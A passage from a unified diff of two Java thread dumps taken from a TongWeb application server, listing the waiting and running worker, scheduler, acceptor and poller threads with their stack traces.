-"TW-0.0.0.0-9060-4" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b
+"TW-0.0.0.0-8080-4" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -235,7 +234,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-0.0.0.0-8080-9" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -249,7 +248,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-periodic-5" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-Server-Scheduled-7" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -259,36 +258,34 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-periodic-8" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-4" #22 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
- java.lang.Thread.State: WAITING
+"TW-Server-Scheduled-3" #96 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
+ java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-Console-Scheduled-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb
+"TW-periodic-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -298,36 +295,24 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Console-Thread-2" #94 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@63229dac
+"TW-0.0.0.0-8080-3" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-Acceptor" #87 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499)
- at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48)
- at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73)
- at java.lang.Thread.run(Thread.java:750)
-
-"GC Daemon" #30 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6f15822b
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at sun.misc.GC$Daemon.run(GC.java:117)
-
-"TW-periodic-10" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-Console-Scheduled-4" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -337,23 +322,37 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TW-0.0.0.0-8080-1" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-periodic-6" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-0.0.0.0-9060-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-5" #23 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-Server-Thread-4" #22 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -365,14 +364,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3a7cd4eb
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
-
-"TW-periodic-3" #75 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-Console-Scheduled-2" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -382,10 +374,14 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-periodic-4" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-Timer-Cache" #16 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.server.util.Utils$b$a.run(Unknown Source)
+
+"TW-Server-Scheduled-8" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -395,47 +391,72 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-periodic-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-periodic-9" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-Server-Thread-6" #24 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-ClientPoller" #86 daemon [RUNNABLE]
+"TW-0.0.0.0-8080-BlockPoller" #32 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316)
+ at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295)
+
+"TW-0.0.0.0-8080-Acceptor" #81 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499)
+ at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48)
+ at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-3" #21 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-0.0.0.0-8080-7" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TW-LogWriting" #17 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.logger.impl.core.WritingThread.run(Unknown Source)
+
+"TW-Console-Thread-1" #89 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c28832b
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -447,7 +468,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-Console-Scheduled-1" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb
+"TW-Console-Scheduled-3" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -459,29 +480,32 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-9060-Acceptor" #72 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499)
- at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48)
- at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73)
+"TW-Console-Scheduled-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-10" #28 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-periodic-7" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Scheduled-5" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
+"TW-Server-Scheduled-4" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -493,7 +517,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-9060-3" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b
+"TW-0.0.0.0-8080-8" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -507,7 +531,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Scheduled-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
+"TW-Server-Scheduled-2" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -519,7 +543,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Scheduled-2" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
+"TW-Server-Scheduled-6" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -531,59 +555,111 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-9" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-Console-Thread-2" #90 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c28832b
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"TW-periodic-6" #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-6" #24 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-0.0.0.0-9060-ClientPoller" #65 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TW-periodic-4" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
